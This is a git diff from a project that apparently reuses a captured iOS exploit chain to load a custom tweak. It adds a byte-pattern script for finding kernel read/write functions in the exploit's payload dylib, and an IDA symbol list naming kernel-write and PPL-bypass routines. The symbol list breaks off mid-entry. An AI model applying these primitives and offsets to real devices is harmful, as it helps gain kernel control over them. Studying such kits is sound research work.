diff --git a/.gitignore b/.gitignore index da1899c..cdf325a 100644 --- a/.gitignore +++ b/.gitignore @@ -1,10 +1,10 @@ .DS_Store *.o .theos +tmp/ # IDA files *.i64 -*.id0 -*.id1 +*.id* *.nam *.til diff --git a/README.md b/README.md index a1bb87f..a63aa79 100644 --- a/README.md +++ b/README.md @@ -15,3 +15,12 @@ There are so many analysis by other people right now so I'm not doing it again, | iPhone 6s+ | 15.4.1 | jacurutu -> VariantB? | | iPhone Xs Max | 16.5 | terrorbird -> seedbell -> VariantB | | iPhone 15 Pro Max | 17.0 | cassowary -> seedbell_pre -> seedbell_17 -> VariantB | + +## Finding krw offsets +``` + +LC_ALL=C ggrep -r -oba -P '[\x7F\x23\x03\xD5]?\xF6\x57\xBD\xA9\xF4\x4F\x01\xA9\xFD\x7B\x02\xA9\xFD\x83\x00\x91\xF3\x03\x02\xAA\xF5\x03\x00\xAA' entry1_type0x09.dylib + + + +``` diff --git a/Stage3_VariantB.js b/Stage3_VariantB.js index 0e461a9..59cc335 100644 --- a/Stage3_VariantB.js +++ b/Stage3_VariantB.js @@ -1151,6 +1151,8 @@ function YA() {/* Original: YA → resolveSymbols */ fetchBin(url) { // Override entry2_type0x0f.dylib url = url.replace(/\/entry2_type0x0f.dylib$/g, "/../../TweakLoader/.theos/obj/arm64" + (platformModule.platformState.hasPAC?"e":"") + "/TweakLoader.dylib"); + // TEST: override my kernel exploit with wrapper + //url = url.replace(/\/entry1_type0x09.dylib$/g, "/../../src/DriverWrapper/.theos/obj/arm64" + (platformModule.platformState.hasPAC?"e":"") + "/DriverWrapper.dylib"); window.log("Downloading " + url); return new Promise((resolve, reject) => { diff --git a/TweakLoader/SpringBoardTweak/SpringBoardTweak.m b/TweakLoader/SpringBoardTweak/SpringBoardTweak.m index c0990ed..683acbb 100644 --- a/TweakLoader/SpringBoardTweak/SpringBoardTweak.m +++ b/TweakLoader/SpringBoardTweak/SpringBoardTweak.m @@ -233,6 +233,7 @@ static NSData *downloadFile(NSString *urlString) { #pragma mark - Constructor __attribute__((constructor)) static void init() { + exit(0); initFrontBoardBypass(); // Auto-enable status bar tweak on load (works on both iOS 16 and 17) initStatusBarTweak(); diff --git a/krw_offsets_finder.py b/krw_offsets_finder.py new file mode 100644 index 0000000..25e0887 --- /dev/null +++ b/krw_offsets_finder.py @@ -0,0 +1,125 @@ +import re +import sys + +# Find krw functions. PACIBSP is optional to work on arm64 library aswell. +patterns = { + "kreadbuf": + rb'[\x7F\x23\x03\xD5]?'# PACIBSP + rb'\xFD\x7B\xBF\xA9' # STP X29, X30, [SP,#-0x10+var_s0]! + rb'\xFD\x03\x00\x91' # MOV X29, SP + rb'\xE8\x03\x03\xAA' # MOV X8, X3 + rb'\xEA\x03\x02\xAA' # MOV X10, X2 + rb'\x09\x18\x40\xF9', # LDR X9, [X0,#0x30] + + "kwritebuf": + rb'[\x7F\x23\x03\xD5]?'# PACIBSP + rb'\xF6\x57\xBD\xA9' # STP X22, X21, [SP,#-0x10+var_20]! + rb'\xF4\x4F\x01\xA9' # STP X20, X19, [SP,#0x20+var_10] + rb'\xFD\x7B\x02\xA9' # STP X29, X30, [SP,#0x20+var_s0] + rb'\xFD\x83\x00\x91' # ADD X29, SP, #0x20 + rb'\xF3\x03\x03\xAA' # MOV X19, X3 + rb'\xF4\x03\x02\xAA' # MOV X20, X2 + rb'\xF6\x03\x01\xAA' # MOV X22, X1 + rb'\xF5\x03\x00\xAA' # MOV X21, X0 + rb'\x08\xAC\x40\xF9' # LDR X8, [X0,#0x158] + rb'\x09\x50\xA0\xD2' # MOV X9, #0x1F530F02800000 + rb'\xE9\x61\xCA\xF2' # MOV X9, #0x1F530F02800000 + rb'\xE9\x03\xE0\xF2' # MOV X9, #0x1F530F02800000 + rb'\x1F\x01\x09\xEB', # CMP X8, X9 + +# "krw_task_for_pid": +# rb'\xE3\x03\x02\xAA' # MOV X3, X2 +# rb'\x02\x00\x80\xD2' # MOV X2, #0; name is NULL +# rb'\x01\x00\x00\x14', # B krw_task_for_pid_or_name; branch right next to it + "krw_task_for_pid_or_name": + rb'[\x7F\x23\x03\xD5]?'# PACIBSP + rb'\xFF\x03\x01\xD1' # SUB SP, SP, #0x40 + rb'\xF6\x57\x01\xA9' # STP X22, X21, [SP,#0x30+var_20] + rb'\xF4\x4F\x02\xA9' # STP X20, X19, [SP,#0x30+var_10] + rb'\xFD\x7B\x03\xA9' # STP X29, X30, [SP,#0x30+var_s0] + rb'\xFD\xC3\x00\x91' # ADD X29, SP, #0x30 + rb'\xF3\x03\x03\xAA' # MOV X19, X3 + rb'\xF5\x03\x02\xAA' # MOV X21, X2 + rb'\xF6\x03\x01\xAA' # MOV X22, X1 + rb'\xF4\x03\x00\xAA' # MOV X20, X0 + rb'\x3F\x04\x00\x71', # CMP W1, #1 + + "port_name_to_kaddr": + rb'[\x7F\x23\x03\xD5]?'# PACIBSP + rb'\xF6\x57\xBD\xA9' # 'STP X22, X21, [SP,#-0x10+var_20]! + rb'\xF4\x4F\x01\xA9' # 'STP X20, X19, [SP,#0x20+var_10] + rb'\xFD\x7B\x02\xA9' # 'STP X29, X30, [SP,#0x20+var_s0] + rb'\xFD\x83\x00\x91' # 'ADD X29, SP, #0x20 + rb'\xF4\x03\x01\xAA' # 'MOV X20, X1 + rb'\xF3\x03\x00\xAA' # 'MOV X19, X0 + rb'\x1F\x20\x03\xD5', # 'NOP + + "task_get_ipc_port": + rb'[\x7F\x23\x03\xD5]?'# PACIBSP + rb'\xFF\xC3\x00\xD1' # SUB SP, SP, #0x30 + rb'\xF4\x4F\x01\xA9' # STP X20, X19, [SP,#0x20+var_10] + rb'\xFD\x7B\x02\xA9' # STP X29, X30, [SP,#0x20+var_s0] + rb'\xFD\x83\x00\x91' # ADD X29, SP, #0x20 + rb'\xF3\x03\x00\xAA' # MOV X19, X0 + rb'....' # BL sub_339B4 + rb'....' # CBZ X0, loc_33A78 + rb'\xE1\x03\x00\xAA' # MOV X1, X0 + rb'\xE2\x23\x00\x91' # ADD X2, SP, #0x20+var_18 + rb'\xE0\x03\x13\xAA', # MOV X0, X19 + + "ipc_port_get_kobject": + rb'[\x7F\x23\x03\xD5]?'# PACIBSP + rb'\xFF\xC3\x00\xD1' # SUB SP, SP, #0x30 + rb'\xF4\x4F\x01\xA9' # STP X20, X19, [SP,#0x20+var_10] + rb'\xFD\x7B\x02\xA9' # STP X29, X30, [SP,#0x20+var_s0] + rb'\xFD\x83\x00\x91' # ADD X29, SP, #0x20 + rb'\xF4\x03\x01\xAA' # MOV X20, X1 + rb'\xF3\x03\x00\xAA' # MOV X19, X0 + rb'\xE2\x13\x00\x91', # ADD X2, SP, #0x20+var_1C + + "task_csflags_get_kaddr": + rb'[\x7F\x23\x03\xD5]?'# PACIBSP + rb'\xF4\x4F\xBE\xA9' # STP X20, X19, [SP,#-0x10+var_10]! + rb'\xFD\x7B\x01\xA9' # STP X29, X30, [SP,#0x10+var_s0] + rb'\xFD\x43\x00\x91' # ADD X29, SP, #0x10 + rb'\xF3\x03\x00\xAA' # MOV X19, X0 + rb'\x14\xB0\xBF\x92' # MOV X20, #-0xfd800001 ; =-4253024257 + rb'\xF4\x61\xCA\xF2' # MOVK X20, #0x530f, lsl #32 + rb'\xF4\x03\xE0\xF2' # MOVK X20, #0x1f, lsl #48 + rb'\x08\xAC\x40\xF9' # LDR X8, [X0,#0x158] + rb'\x1F\x01\x14\xEB', # CMP X8, X20 +} + +with open(sys.argv[1], "rb") as f: + data = f.read() + +print(f"Read: {sys.argv[1]}") + +counts = {name: 0 for name in patterns} +offsets = {} + +# build combined regex with named groups +combined = re.compile( + b"|".join(f"(?P<{name}>{pat.decode('latin1')})".encode('latin1') + for name, pat in patterns.items()) +) + +for m in combined.finditer(data): + name = m.lastgroup + counts[name] += 1 + + if counts[name] > 1: + print(f"error: {name} has multiple matches", file=sys.stderr) + sys.exit(1) + + offsets[name] = m.start()-3 + +# check missing +for name in patterns: + if counts[name] == 0: + print(f"{name}: NOT found", file=sys.stderr) + #sys.exit(1) + +# output +for name, off in offsets.items(): + print(f"{name}: {hex(off)}") diff --git a/payloads/377bed7460f7538f96bbad7bdc2b8294bdc54599/entry1_type0x09.dylib.brk b/payloads/377bed7460f7538f96bbad7bdc2b8294bdc54599/entry1_type0x09.dylib.brk new file mode 100644 index 0000000..8e48566 Binary files /dev/null and b/payloads/377bed7460f7538f96bbad7bdc2b8294bdc54599/entry1_type0x09.dylib.brk differ diff --git a/payloads/377bed7460f7538f96bbad7bdc2b8294bdc54599/entry1_type0x09.dylib_IDASymbols_FunctionsNames_20260322_101548.json b/payloads/377bed7460f7538f96bbad7bdc2b8294bdc54599/entry1_type0x09.dylib_IDASymbols_FunctionsNames_20260322_101548.json new file mode 100644 index 0000000..5b23387 --- /dev/null +++ b/payloads/377bed7460f7538f96bbad7bdc2b8294bdc54599/entry1_type0x09.dylib_IDASymbols_FunctionsNames_20260322_101548.json @@ -0,0 +1,7260 @@ +[ + { + "name": "_driver", + "address": "0x5EC4", + "size": "0xD8" + }, + { + "name": "driver_free", + "address": "0x5F9C", + "size": "0x40" + }, + { + "name": "driver_init", + "address": "0x5FDC", + "size": "0x54" + }, + { + "name": "driver_dispatch_command", + "address": "0x6030", + "size": "0x40" + }, + { + "name": "sub_6070", + "address": "0x6070", + "size": "0x1C" + }, + { + "name": "driver_close", + "address": "0x608C", + "size": "0x1C" + }, + { + "name": "sub_60A8", + "address": "0x60A8", + "size": "0x44" + }, + { + "name": "sub_60EC", + "address": "0x60EC", + "size": "0x138" + }, + { + "name": "sub_6224", + "address": "0x6224", + "size": "0x160" + }, + { + "name": "sub_6384", + "address": "0x6384", + "size": "0x64" + }, + { + "name": "sub_63E8", + "address": "0x63E8", + "size": "0x60" + }, + { + "name": "sub_6448", + "address": "0x6448", + "size": "0x70" + }, + { + "name": "sub_64B8", + "address": "0x64B8", + "size": "0x18" + }, + { + "name": "sub_64D0", + "address": "0x64D0", + "size": "0x18" + }, + { + "name": "setup_thread_policy", + "address": "0x64E8", + "size": "0x7C" + }, + { + "name": "sub_6564", + "address": "0x6564", + "size": "0x140" + }, + { + "name": "sub_66A4", + "address": "0x66A4", + "size": "0x1FC" + }, + { + "name": "sub_68A0", + "address": "0x68A0", + "size": "0x54" + }, + { + "name": "sub_68F4", + "address": "0x68F4", + "size": "0xC4" + }, + { + "name": "sub_69B8", + "address": "0x69B8", + "size": "0x9C" + }, + { + "name": "sub_6A54", + "address": "0x6A54", + "size": "0x168" + }, + { + "name": "sub_6BBC", + "address": "0x6BBC", + "size": "0x204" + }, + { + "name": "sub_6DC0", + "address": "0x6DC0", + "size": "0x70" + }, + { + "name": "sub_6E30", + "address": "0x6E30", + "size": "0x88" + }, + { + "name": "sub_6EB8", + "address": "0x6EB8", + "size": "0xB0" + }, + { + "name": "sub_6F68", + "address": "0x6F68", + "size": "0x13C" + }, + { + "name": "sub_70A4", + "address": "0x70A4", + "size": "0x84" + }, + { + "name": "sub_7128", + "address": "0x7128", + "size": "0x84" + }, + { + "name": "find_mem_region", + "address": "0x71AC", + "size": "0xB0" + }, + { + "name": "sub_725C", + "address": "0x725C", + "size": "0xD8" + }, + { + "name": "sub_7334", + "address": "0x7334", + "size": "0x84" + }, + { + "name": "allocate_two_buffers_for_something", + "address": "0x73B8", + "size": "0x9C" + }, + { + "name": "sub_7454", + "address": "0x7454", + "size": "0x1DC" + }, + { + "name": "sub_7630", + "address": "0x7630", + "size": "0x80" + }, + { + "name": "sub_76B0", + "address": "0x76B0", + "size": "0xE4" + }, + { + "name": "sub_7794", + "address": "0x7794", + "size": "0x610" + }, + { + "name": "sub_7DA4", + "address": "0x7DA4", + "size": "0x64" + }, + { + "name": "sub_7E08", + "address": "0x7E08", + "size": "0x7C" + }, + { + "name": "sub_7E84", + "address": "0x7E84", + "size": "0x58" + }, + { + "name": "sub_7EDC", + "address": "0x7EDC", + "size": "0x4C" + }, + { + "name": "sub_7F28", + "address": "0x7F28", + "size": "0xD0" + }, + { + "name": "sub_7FF8", + "address": "0x7FF8", + "size": "0x154" + }, + { + "name": "sub_814C", + "address": "0x814C", + "size": "0xDC" + }, + { + "name": "sub_8228", + "address": "0x8228", + "size": "0x15C" + }, + { + "name": "sub_8384", + "address": "0x8384", + "size": "0x44" + }, + { + "name": "sub_83C8", + "address": "0x83C8", + "size": "0x130" + }, + { + "name": "sub_84F8", + "address": "0x84F8", + "size": "0xEC" + }, + { + "name": "sub_85E4", + "address": "0x85E4", + "size": "0x12C" + }, + { + "name": "sub_8710", + "address": "0x8710", + "size": "0x48" + }, + { + "name": "sub_8758", + "address": "0x8758", + "size": "0x684" + }, + { + "name": "sub_8DDC", + "address": "0x8DDC", + "size": "0x13C" + }, + { + "name": "sub_8F18", + "address": "0x8F18", + "size": "0x100" + }, + { + "name": "sub_9018", + "address": "0x9018", + "size": "0x138" + }, + { + "name": "sub_9150", + "address": "0x9150", + "size": "0x90" + }, + { + "name": "sub_91E0", + "address": "0x91E0", + "size": "0x7C" + }, + { + "name": "sub_925C", + "address": "0x925C", + "size": "0x154" + }, + { + "name": "sub_93B0", + "address": "0x93B0", + "size": "0x60" + }, + { + "name": "sub_9410", + "address": "0x9410", + "size": "0xA0" + }, + { + "name": "sub_94B0", + "address": "0x94B0", + "size": "0xD8" + }, + { + "name": "sub_9588", + "address": "0x9588", + "size": "0x150" + }, + { + "name": "sub_96D8", + "address": "0x96D8", + "size": "0x1CC" + }, + { + "name": "sub_98A4", + "address": "0x98A4", + "size": "0x21C" + }, + { + "name": "sub_9AC0", + "address": "0x9AC0", + "size": "0x474" + }, + { + "name": "sub_9F4C", + "address": "0x9F4C", + "size": "0xA4" + }, + { + "name": "sub_9FF0", + "address": "0x9FF0", + "size": "0xB0" + }, + { + "name": "sub_A0A0", + "address": "0xA0A0", + "size": "0x2B4" + }, + { + "name": "sub_A354", + "address": "0xA354", + "size": "0x9C" + }, + { + "name": "sub_A3F0", + "address": "0xA3F0", + "size": "0x9C" + }, + { + "name": "sub_A48C", + "address": "0xA48C", + "size": "0xC4" + }, + { + "name": "sub_A550", + "address": "0xA550", + "size": "0xC4" + }, + { + "name": "sub_A614", + "address": "0xA614", + "size": "0x218" + }, + { + "name": "sub_A82C", + "address": "0xA82C", + "size": "0x74" + }, + { + "name": "sub_A8A0", + "address": "0xA8A0", + "size": "0x74" + }, + { + "name": "sub_A914", + "address": "0xA914", + "size": "0x88" + }, + { + "name": "sub_A99C", + "address": "0xA99C", + "size": "0x30" + }, + { + "name": "sub_A9CC", + "address": "0xA9CC", + "size": "0x70" + }, + { + "name": "sub_AA3C", + "address": "0xAA3C", + "size": "0x214" + }, + { + "name": "sub_AC50", + "address": "0xAC50", + "size": "0x208" + }, + { + "name": "sub_AE58", + "address": "0xAE58", + "size": "0x608" + }, + { + "name": "sub_B460", + "address": "0xB460", + "size": "0x2DC" + }, + { + "name": "sub_B73C", + "address": "0xB73C", + "size": "0x1C" + }, + { + "name": "sub_B758", + "address": "0xB758", + "size": "0xC" + }, + { + "name": "sub_B764", + "address": "0xB764", + "size": "0x4" + }, + { + "name": "sub_B768", + "address": "0xB768", + "size": "0x3D4" + }, + { + "name": "sub_BB3C", + "address": "0xBB3C", + "size": "0xB8" + }, + { + "name": "sub_BBF4", + "address": "0xBBF4", + "size": "0xC0" + }, + { + "name": "sub_BCB4", + "address": "0xBCB4", + "size": "0x6C" + }, + { + "name": "sub_BD20", + "address": "0xBD20", + "size": "0x100" + }, + { + "name": "sub_BE20", + "address": "0xBE20", + "size": "0xB0" + }, + { + "name": "sub_BED0", + "address": "0xBED0", + "size": "0xCC8" + }, + { + "name": "sub_CB98", + "address": "0xCB98", + "size": "0x2E0" + }, + { + "name": "sub_CE78", + "address": "0xCE78", + "size": "0xC" + }, + { + "name": "sub_CE84", + "address": "0xCE84", + "size": "0x34" + }, + { + "name": "sub_CEB8", + "address": "0xCEB8", + "size": "0x29A8" + }, + { + "name": "sub_F860", + "address": "0xF860", + "size": "0x284" + }, + { + "name": "sub_FAE4", + "address": "0xFAE4", + "size": "0x234" + }, + { + "name": "sub_FD18", + "address": "0xFD18", + "size": "0x118" + }, + { + "name": "sub_FE30", + "address": "0xFE30", + "size": "0xE0" + }, + { + "name": "sub_FF10", + "address": "0xFF10", + "size": "0x12C" + }, + { + "name": "sub_1003C", + "address": "0x1003C", + "size": "0x170" + }, + { + "name": "sub_101AC", + "address": "0x101AC", + "size": "0x68" + }, + { + "name": "sub_10214", + "address": "0x10214", + "size": "0x200" + }, + { + "name": "sub_10414", + "address": "0x10414", + "size": "0x120" + }, + { + "name": "sub_10534", + "address": "0x10534", + "size": "0xD0" + }, + { + "name": "kwritebuf_0_or_5", + "address": "0x10604", + "size": "0x28" + }, + { + "name": "sub_1062C", + "address": "0x1062C", + "size": "0x34" + }, + { + "name": "sub_10660", + "address": "0x10660", + "size": "0x38" + }, + { + "name": "kwrite64_via_kwritebuf", + "address": "0x10698", + "size": "0x3C" + }, + { + "name": "kread32", + "address": "0x106D4", + "size": "0x34" + }, + { + "name": "sub_10708", + "address": "0x10708", + "size": "0x28" + }, + { + "name": "sub_10730", + "address": "0x10730", + "size": "0x1EC" + }, + { + "name": "sub_1091C", + "address": "0x1091C", + "size": "0xDC" + }, + { + "name": "sub_109F8", + "address": "0x109F8", + "size": "0x110" + }, + { + "name": "sub_10B08", + "address": "0x10B08", + "size": "0x88" + }, + { + "name": "sub_10B90", + "address": "0x10B90", + "size": "0x9C" + }, + { + "name": "sub_10C2C", + "address": "0x10C2C", + "size": "0x1C0" + }, + { + "name": "sub_10DEC", + "address": "0x10DEC", + "size": "0xBC" + }, + { + "name": "sub_10EA8", + "address": "0x10EA8", + "size": "0xC4" + }, + { + "name": "sub_10F6C", + "address": "0x10F6C", + "size": "0x18" + }, + { + "name": "sub_10F84", + "address": "0x10F84", + "size": "0xD0" + }, + { + "name": "sub_11054", + "address": "0x11054", + "size": "0xA8" + }, + { + "name": "sub_110FC", + "address": "0x110FC", + "size": "0xB8" + }, + { + "name": "sub_111B4", + "address": "0x111B4", + "size": "0xC" + }, + { + "name": "sub_111C0", + "address": "0x111C0", + "size": "0x1424" + }, + { + "name": "sub_125E4", + "address": "0x125E4", + "size": "0x94" + }, + { + "name": "sub_12678", + "address": "0x12678", + "size": "0xDC" + }, + { + "name": "sub_12754", + "address": "0x12754", + "size": "0x6C" + }, + { + "name": "sub_127C0", + "address": "0x127C0", + "size": "0x194" + }, + { + "name": "sub_12954", + "address": "0x12954", + "size": "0xA4" + }, + { + "name": "sub_129F8", + "address": "0x129F8", + "size": "0x1FC" + }, + { + "name": "sub_12BF4", + "address": "0x12BF4", + "size": "0xA4" + }, + { + "name": "sub_12C98", + "address": "0x12C98", + "size": "0x118" + }, + { + "name": "sub_12DB0", + "address": "0x12DB0", + "size": "0x98" + }, + { + "name": "sub_12E48", + "address": "0x12E48", + "size": "0x40" + }, + { + "name": "sub_12E88", + "address": "0x12E88", + "size": "0x70" + }, + { + "name": "sub_12EF8", + "address": "0x12EF8", + "size": "0x194" + }, + { + "name": "sub_1308C", + "address": "0x1308C", + "size": "0x28" + }, + { + "name": "sub_130B4", + "address": "0x130B4", + "size": "0x250" + }, + { + "name": "sub_13304", + "address": "0x13304", + "size": "0x238" + }, + { + "name": "sub_1353C", + "address": "0x1353C", + "size": "0x214" + }, + { + "name": "sub_13750", + "address": "0x13750", + "size": "0xF4" + }, + { + "name": "sub_13844", + "address": "0x13844", + "size": "0xE0" + }, + { + "name": "sub_13924", + "address": "0x13924", + "size": "0x1C0" + }, + { + "name": "ppl_kwritebuf", + "address": "0x13AE4", + "size": "0x130" + }, + { + "name": "kaddr_need_ppl_bypass", + "address": "0x13C14", + "size": "0x64" + }, + { + "name": "ppl_kwritebuf_nocheck", + "address": "0x13C78", + "size": "0x124" + }, + { + "name": "sub_13D9C", + "address": "0x13D9C", + "size": "0x9C" + }, + { + "name": "kwrite_something", + "address": "0x13E38", + "size": "0x84" + }, + { + "name": "check_rootfs_rw", + "address": "0x13EBC", + "size": "0x13C" + }, + { + "name": "sub_13FF8", + "address": "0x13FF8", + "size": "0x16C" + }, + { + "name": "sub_14164", + "address": "0x14164", + "size": "0x8C" + }, + { + "name": "sub_141F0", + "address": "0x141F0", + "size": "0x108" + }, + { + "name": "add_rw_to_disk", + "address": "0x142F8", + "size": "0x14C" + }, + { + "name": "sub_14444", + "address": "0x14444", + "size": "0xE0" + }, + { + "name": "sub_14524", + "address": "0x14524", + "size": "0x380" + }, + { + "name": "sub_148A4", + "address": "0x148A4", + "size": "0x7C" + }, + { + "name": "sub_14920", + "address": "0x14920", + "size": "0x2CC" + }, + { + "name": "sub_14BEC", + "address": "0x14BEC", + "size": "0xB8" + }, + { + "name": "sub_14CA4", + "address": "0x14CA4", + "size": "0xF4" + }, + { + "name": "sub_14D98", + "address": "0x14D98", + "size": "0x12C" + }, + { + "name": "sub_14EC4", + "address": "0x14EC4", + "size": "0x98" + }, + { + "name": "sub_14F5C", + "address": "0x14F5C", + "size": "0x40" + }, + { + "name": "sub_14F9C", + "address": "0x14F9C", + "size": "0xA0" + }, + { + "name": "krw_inject_entitlements_maybe", + "address": "0x1503C", + "size": "0x494" + }, + { + "name": "sub_154D0", + "address": "0x154D0", + "size": "0xD0" + }, + { + "name": "sub_155A0", + "address": "0x155A0", + "size": "0x2E0" + }, + { + "name": "sub_15880", + "address": "0x15880", + "size": "0x424" + }, + { + "name": "sub_15CA4", + "address": "0x15CA4", + "size": "0x24" + }, + { + "name": "sub_15CC8", + "address": "0x15CC8", + "size": "0x54" + }, + { + "name": "sub_15D1C", + "address": "0x15D1C", + "size": "0x1A8" + }, + { + "name": "sub_15EC4", + "address": "0x15EC4", + "size": "0x2C50" + }, + { + "name": "sub_18B14", + "address": "0x18B14", + "size": "0x254" + }, + { + "name": "sub_18D68", + "address": "0x18D68", + "size": "0x88" + }, + { + "name": "sub_18DF0", + "address": "0x18DF0", + "size": "0xB4" + }, + { + "name": "sub_18EA4", + "address": "0x18EA4", + "size": "0x128" + }, + { + "name": "sub_18FCC", + "address": "0x18FCC", + "size": "0x74" + }, + { + "name": "sub_19040", + "address": "0x19040", + "size": "0xE8" + }, + { + "name": "sub_19128", + "address": "0x19128", + "size": "0x22C" + }, + { + "name": "sub_19354", + "address": "0x19354", + "size": "0x6C" + }, + { + "name": "sub_193C0", + "address": "0x193C0", + "size": "0x368" + }, + { + "name": "nullsub_1", + "address": "0x19728", + "size": "0x4" + }, + { + "name": "validate_addr", + "address": "0x1972C", + "size": "0x20" + }, + { + "name": "validate_addr_maybe2", + "address": "0x1974C", + "size": "0x5C" + }, + { + "name": "sub_197A8", + "address": "0x197A8", + "size": "0xA4" + }, + { + "name": "sub_1984C", + "address": "0x1984C", + "size": "0x8" + }, + { + "name": "sub_19854", + "address": "0x19854", + "size": "0xA8" + }, + { + "name": "sub_198FC", + "address": "0x198FC", + "size": "0x1C8" + }, + { + "name": "sub_19AC4", + "address": "0x19AC4", + "size": "0x8" + }, + { + "name": "sub_19ACC", + "address": "0x19ACC", + "size": "0x64" + }, + { + "name": "sub_19B30", + "address": "0x19B30", + "size": "0x64" + }, + { + "name": "sub_19B94", + "address": "0x19B94", + "size": "0x4" + }, + { + "name": "sub_19B98", + "address": "0x19B98", + "size": "0x9C" + }, + { + "name": "sub_19C34", + "address": "0x19C34", + "size": "0xDC" + }, + { + "name": "sub_19D10", + "address": "0x19D10", + "size": "0x10" + }, + { + "name": "sub_19D20", + "address": "0x19D20", + "size": "0xB4" + }, + { + "name": "sub_19DD4", + "address": "0x19DD4", + "size": "0x30" + }, + { + "name": "sub_19E04", + "address": "0x19E04", + "size": "0x54" + }, + { + "name": "sub_19E58", + "address": "0x19E58", + "size": "0xD4" + }, + { + "name": "sub_19F2C", + "address": "0x19F2C", + "size": "0x1A8" + }, + { + "name": "sub_1A0D4", + "address": "0x1A0D4", + "size": "0x20" + }, + { + "name": "sub_1A0F4", + "address": "0x1A0F4", + "size": "0x408" + }, + { + "name": "sub_1A4FC", + "address": "0x1A4FC", + "size": "0x24" + }, + { + "name": "sub_1A520", + "address": "0x1A520", + "size": "0x6C" + }, + { + "name": "sub_1A58C", + "address": "0x1A58C", + "size": "0x504" + }, + { + "name": "sub_1AA90", + "address": "0x1AA90", + "size": "0x4C" + }, + { + "name": "sub_1AADC", + "address": "0x1AADC", + "size": "0x67C" + }, + { + "name": "sub_1B158", + "address": "0x1B158", + "size": "0x128" + }, + { + "name": "sub_1B280", + "address": "0x1B280", + "size": "0xE0" + }, + { + "name": "sub_1B360", + "address": "0x1B360", + "size": "0xCC" + }, + { + "name": "sub_1B42C", + "address": "0x1B42C", + "size": "0x828" + }, + { + "name": "sub_1BC54", + "address": "0x1BC54", + "size": "0xC" + }, + { + "name": "sub_1BC60", + "address": "0x1BC60", + "size": "0x8" + }, + { + "name": "sub_1BC68", + "address": "0x1BC68", + "size": "0x10" + }, + { + "name": "sub_1BC78", + "address": "0x1BC78", + "size": "0xAC" + }, + { + "name": "sub_1BD24", + "address": "0x1BD24", + "size": "0x5C" + }, + { + "name": "sub_1BD80", + "address": "0x1BD80", + "size": "0x6C" + }, + { + "name": "sub_1BDEC", + "address": "0x1BDEC", + "size": "0x20" + }, + { + "name": "sub_1BE0C", + "address": "0x1BE0C", + "size": "0x15C" + }, + { + "name": "sub_1BF68", + "address": "0x1BF68", + "size": "0xF0" + }, + { + "name": "sub_1C058", + "address": "0x1C058", + "size": "0x70" + }, + { + "name": "sub_1C0C8", + "address": "0x1C0C8", + "size": "0x324" + }, + { + "name": "sub_1C3EC", + "address": "0x1C3EC", + "size": "0x334" + }, + { + "name": "sub_1C720", + "address": "0x1C720", + "size": "0x190" + }, + { + "name": "sub_1C8B0", + "address": "0x1C8B0", + "size": "0x18C" + }, + { + "name": "sub_1CA3C", + "address": "0x1CA3C", + "size": "0x2F8" + }, + { + "name": "sub_1CD34", + "address": "0x1CD34", + "size": "0x190" + }, + { + "name": "sub_1CEC4", + "address": "0x1CEC4", + "size": "0x58" + }, + { + "name": "sub_1CF1C", + "address": "0x1CF1C", + "size": "0x294" + }, + { + "name": "sub_1D1B0", + "address": "0x1D1B0", + "size": "0x2F0" + }, + { + "name": "sub_1D4A0", + "address": "0x1D4A0", + "size": "0x26C" + }, + { + "name": "sub_1D70C", + "address": "0x1D70C", + "size": "0x264" + }, + { + "name": "sub_1D970", + "address": "0x1D970", + "size": "0x338" + }, + { + "name": "kernel_pattern_scan", + "address": "0x1DCA8", + "size": "0x198" + }, + { + "name": "sub_1DE40", + "address": "0x1DE40", + "size": "0x288" + }, + { + "name": "sub_1E0C8", + "address": "0x1E0C8", + "size": "0xF0" + }, + { + "name": "sub_1E1B8", + "address": "0x1E1B8", + "size": "0x104" + }, + { + "name": "sub_1E2BC", + "address": "0x1E2BC", + "size": "0x108" + }, + { + "name": "kern_get_variable_addr", + "address": "0x1E3C4", + "size": "0x98" + }, + { + "name": "sub_1E45C", + "address": "0x1E45C", + "size": "0x13C" + }, + { + "name": "sub_1E598", + "address": "0x1E598", + "size": "0x88" + }, + { + "name": "sub_1E620", + "address": "0x1E620", + "size": "0xC" + }, + { + "name": "sub_1E62C", + "address": "0x1E62C", + "size": "0xFC" + }, + { + "name": "sub_1E728", + "address": "0x1E728", + "size": "0xD8" + }, + { + "name": "sub_1E800", + "address": "0x1E800", + "size": "0x54" + }, + { + "name": "sub_1E854", + "address": "0x1E854", + "size": "0x8" + }, + { + "name": "sub_1E85C", + "address": "0x1E85C", + "size": "0x140" + }, + { + "name": "sub_1E99C", + "address": "0x1E99C", + "size": "0xD4" + }, + { + "name": "sub_1EA70", + "address": "0x1EA70", + "size": "0xBC" + }, + { + "name": "sub_1EB2C", + "address": "0x1EB2C", + "size": "0x224" + }, + { + "name": "sub_1ED50", + "address": "0x1ED50", + "size": "0x11C" + }, + { + "name": "kernel_version_parse", + "address": "0x1EE6C", + "size": "0x210" + }, + { + "name": "sub_1F07C", + "address": "0x1F07C", + "size": "0x5C" + }, + { + "name": "number_of_cpus", + "address": "0x1F0D8", + "size": "0x1C" + }, + { + "name": "sub_1F0F4", + "address": "0x1F0F4", + "size": "0x20" + }, + { + "name": "sub_1F114", + "address": "0x1F114", + "size": "0x34" + }, + { + "name": "sub_1F148", + "address": "0x1F148", + "size": "0x48" + }, + { + "name": "sub_1F190", + "address": "0x1F190", + "size": "0x38" + }, + { + "name": "sub_1F1C8", + "address": "0x1F1C8", + "size": "0x78" + }, + { + "name": "sub_1F240", + "address": "0x1F240", + "size": "0x34" + }, + { + "name": "sub_1F274", + "address": "0x1F274", + "size": "0x94" + }, + { + "name": "sub_1F308", + "address": "0x1F308", + "size": "0x110" + }, + { + "name": "sub_1F418", + "address": "0x1F418", + "size": "0x8C" + }, + { + "name": "sub_1F4A4", + "address": "0x1F4A4", + "size": "0x3C" + }, + { + "name": "fd_make_pipe", + "address": "0x1F4E0", + "size": "0x70" + }, + { + "name": "fd_read_test", + "address": "0x1F550", + "size": "0xA0" + }, + { + "name": "setup_two_fds", + "address": "0x1F5F0", + "size": "0x4C" + }, + { + "name": "setup_fd", + "address": "0x1F63C", + "size": "0xD8" + }, + { + "name": "sub_1F714", + "address": "0x1F714", + "size": "0x5C" + }, + { + "name": "sub_1F770", + "address": "0x1F770", + "size": "0x5C" + }, + { + "name": "sub_1F7CC", + "address": "0x1F7CC", + "size": "0x5C" + }, + { + "name": "sub_1F828", + "address": "0x1F828", + "size": "0x6C" + }, + { + "name": "sub_1F894", + "address": "0x1F894", + "size": "0x6C" + }, + { + "name": "sub_1F900", + "address": "0x1F900", + "size": "0x64" + }, + { + "name": "sub_1F964", + 